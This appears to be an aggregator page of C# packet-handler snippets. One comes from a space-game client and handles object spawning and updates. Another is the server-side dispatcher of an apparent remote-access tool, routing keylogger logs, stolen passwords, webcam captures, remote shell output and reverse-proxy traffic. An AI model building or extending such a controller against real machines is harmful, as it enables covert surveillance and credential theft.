                PlayerOrientation = Matrix4x4.CreateFromQuaternion(p.Orientation);
                SetSelfLoadout(p.Ship);
                SceneChangeRequired();
                break;

            case BaseEnterPacket b:
                PlayerBase = b.Base;
                SetSelfLoadout(b.Ship);
                SceneChangeRequired();
                AddRTC(b.RTCs);
                break;

            case SpawnSolarPacket solar:
                RunSync(() =>
                {
                    foreach (var si in solar.Solars)
                    {
                        if (!objects.ContainsKey(si.ID))
                        {
                            var arch          = Game.GameData.GetSolarArchetype(si.Archetype);
                            var go            = new GameObject(arch, Game.ResourceManager, true);
                            go.StaticPosition = si.Position;
                            go.Transform      = Matrix4x4.CreateFromQuaternion(si.Orientation) *
                                                Matrix4x4.CreateTranslation(si.Position);
                            go.Nickname = $"$Solar{si.ID}";
                            go.World    = gp.world;
                            go.Register(go.World.Physics);
                            go.CollisionGroups = arch.CollisionGroups;
                            FLLog.Debug("Client", $"Spawning object {si.ID}");
                            gp.world.Objects.Add(go);
                            objects.Add(si.ID, go);
                        }
                    }
                });
                break;

            case DestroyPartPacket p:
                RunSync(() =>
                {
                    objects[p.ID].DisableCmpPart(p.PartName);
                });
                break;

            case SpawnDebrisPacket p:
                RunSync(() =>
                {
                    var arch = Game.GameData.GetSolarArchetype(p.Archetype);
                    var mdl  =
                        ((IRigidModelFile)arch.ModelFile.LoadFile(Game.ResourceManager)).CreateRigidModel(true);
                    var newpart  = mdl.Parts[p.Part].Clone();
                    var newmodel = new RigidModel()
                    {
                        Root          = newpart,
                        AllParts      = new[] { newpart },
                        MaterialAnims = mdl.MaterialAnims,
                        Path          = mdl.Path,
                    };
                    var go       = new GameObject($"debris{p.ID}", newmodel, Game.ResourceManager, p.Part, p.Mass, true);
                    go.Transform = Matrix4x4.CreateFromQuaternion(p.Orientation) *
                                   Matrix4x4.CreateTranslation(p.Position);
                    go.World = gp.world;
                    go.Register(go.World.Physics);
                    gp.world.Objects.Add(go);
                    objects.Add(p.ID, go);
                });
                break;

            case SpawnObjectPacket p:
                RunSync(() =>
                {
                    var shp = Game.GameData.GetShip((int)p.Loadout.ShipCRC);
                    //Set up player object + camera
                    var newobj       = new GameObject(shp, Game.ResourceManager);
                    newobj.Name      = "NetPlayer " + p.ID;
                    newobj.Transform = Matrix4x4.CreateFromQuaternion(p.Orientation) *
                                       Matrix4x4.CreateTranslation(p.Position);
                    if (connection is GameNetClient)
                    {
                        newobj.Components.Add(new CNetPositionComponent(newobj));
                    }
                    objects.Add(p.ID, newobj);
                    gp.world.Objects.Add(newobj);
                });
                break;

            case ObjectUpdatePacket p:
                RunSync(() =>
                {
                    foreach (var update in p.Updates)
                    {
                        UpdateObject(p.Tick, update);
                    }
                });
                break;

            case DespawnObjectPacket p:
                RunSync(() =>
                {
                    var despawn = objects[p.ID];
                    gp.world.Objects.Remove(despawn);
                    objects.Remove(p.ID);
                });
                break;

            default:
                if (ExtraPackets != null)
                {
                    ExtraPackets(pkt);
                }
                else
                {
                    FLLog.Error("Network", "Unknown packet type " + pkt.GetType().ToString());
                }
                break;
            }
        }
Example #56
0
        public static void HandlePacket(Client client, IPacket packet)
        {
            if (client == null || client.Value == null)
            {
                return;
            }

            var type = packet.GetType();

            if (type == typeof(ClientPackets.SetStatus))
            {
                CommandHandler.HandleSetStatus(client, (ClientPackets.SetStatus)packet);
            }
            else if (type == typeof(ClientPackets.SetUserStatus))
            {
                CommandHandler.HandleSetUserStatus(client, (ClientPackets.SetUserStatus)packet);
            }
            else if (type == typeof(ClientPackets.GetDesktopResponse))
            {
                CommandHandler.HandleGetDesktopResponse(client, (ClientPackets.GetDesktopResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetProcessesResponse))
            {
                CommandHandler.HandleGetProcessesResponse(client,
                                                          (ClientPackets.GetProcessesResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetDrivesResponse))
            {
                CommandHandler.HandleGetDrivesResponse(client, (ClientPackets.GetDrivesResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetDirectoryResponse))
            {
                CommandHandler.HandleGetDirectoryResponse(client, (ClientPackets.GetDirectoryResponse)packet);
            }
            else if (type == typeof(ClientPackets.DoDownloadFileResponse))
            {
                CommandHandler.HandleDoDownloadFileResponse(client,
                                                            (ClientPackets.DoDownloadFileResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetSystemInfoResponse))
            {
                CommandHandler.HandleGetSystemInfoResponse(client,
                                                           (ClientPackets.GetSystemInfoResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetMonitorsResponse))
            {
                CommandHandler.HandleGetMonitorsResponse(client, (ClientPackets.GetMonitorsResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetWebcamsResponse))
            {
                CommandHandler.HandleGetWebcamsResponse(client, (ClientPackets.GetWebcamsResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetWebcamResponse))
            {
                CommandHandler.HandleGetWebcamResponse(client, (ClientPackets.GetWebcamResponse)packet);
            }
            else if (type == typeof(ClientPackets.DoShellExecuteResponse))
            {
                CommandHandler.HandleDoShellExecuteResponse(client,
                                                            (ClientPackets.DoShellExecuteResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetStartupItemsResponse))
            {
                CommandHandler.HandleGetStartupItemsResponse(client,
                                                             (ClientPackets.GetStartupItemsResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetKeyloggerLogsResponse))
            {
                CommandHandler.HandleGetKeyloggerLogsResponse(client, (ClientPackets.GetKeyloggerLogsResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetRegistryKeysResponse))
            {
                CommandHandler.HandleLoadRegistryKey((ClientPackets.GetRegistryKeysResponse)packet, client);
            }
            else if (type == typeof(ClientPackets.GetCreateRegistryKeyResponse))
            {
                CommandHandler.HandleCreateRegistryKey((ClientPackets.GetCreateRegistryKeyResponse)packet, client);
            }
            else if (type == typeof(ClientPackets.GetDeleteRegistryKeyResponse))
            {
                CommandHandler.HandleDeleteRegistryKey((ClientPackets.GetDeleteRegistryKeyResponse)packet, client);
            }
            else if (type == typeof(ClientPackets.GetRenameRegistryKeyResponse))
            {
                CommandHandler.HandleRenameRegistryKey((ClientPackets.GetRenameRegistryKeyResponse)packet, client);
            }
            else if (type == typeof(ClientPackets.GetCreateRegistryValueResponse))
            {
                CommandHandler.HandleCreateRegistryValue((ClientPackets.GetCreateRegistryValueResponse)packet, client);
            }
            else if (type == typeof(ClientPackets.GetDeleteRegistryValueResponse))
            {
                CommandHandler.HandleDeleteRegistryValue((ClientPackets.GetDeleteRegistryValueResponse)packet, client);
            }
            else if (type == typeof(ClientPackets.GetRenameRegistryValueResponse))
            {
                CommandHandler.HandleRenameRegistryValue((ClientPackets.GetRenameRegistryValueResponse)packet, client);
            }
            else if (type == typeof(ClientPackets.GetChangeRegistryValueResponse))
            {
                CommandHandler.HandleChangeRegistryValue((ClientPackets.GetChangeRegistryValueResponse)packet, client);
            }
            else if (type == typeof(ClientPackets.GetPasswordsResponse))
            {
                CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);
            }
            else if (type == typeof(ClientPackets.SetStatusFileManager))
            {
                CommandHandler.HandleSetStatusFileManager(client, (ClientPackets.SetStatusFileManager)packet);
            }
            else if (type == typeof(ReverseProxy.Packets.ReverseProxyConnectResponse) ||
                     type == typeof(ReverseProxy.Packets.ReverseProxyData) ||
                     type == typeof(ReverseProxy.Packets.ReverseProxyDisconnect))
            {
                ReverseProxyCommandHandler.HandleCommand(client, packet);
            }
            else if (type == typeof(ClientPackets.GetConnectionsResponse))
            {
                CommandHandler.HandleGetConnectionsResponse(client, (ClientPackets.GetConnectionsResponse)packet);
            }
        }
 public void BroadcastPacketReceived(IPacket packet) => PacketReceived(packet);
 public void BroadcastUnhandledPacket(IPacket packet) => UnhandledPacket(packet);
 public void BroadcastPacketSent(IPacket packet) => PacketSent(packet);
Example #60
0
 void IPipeline.Output <TState>(IPacket packet, IOCompleteCallback <TState> callback, TState state)
 {
     throw new NotImplementedException();
 }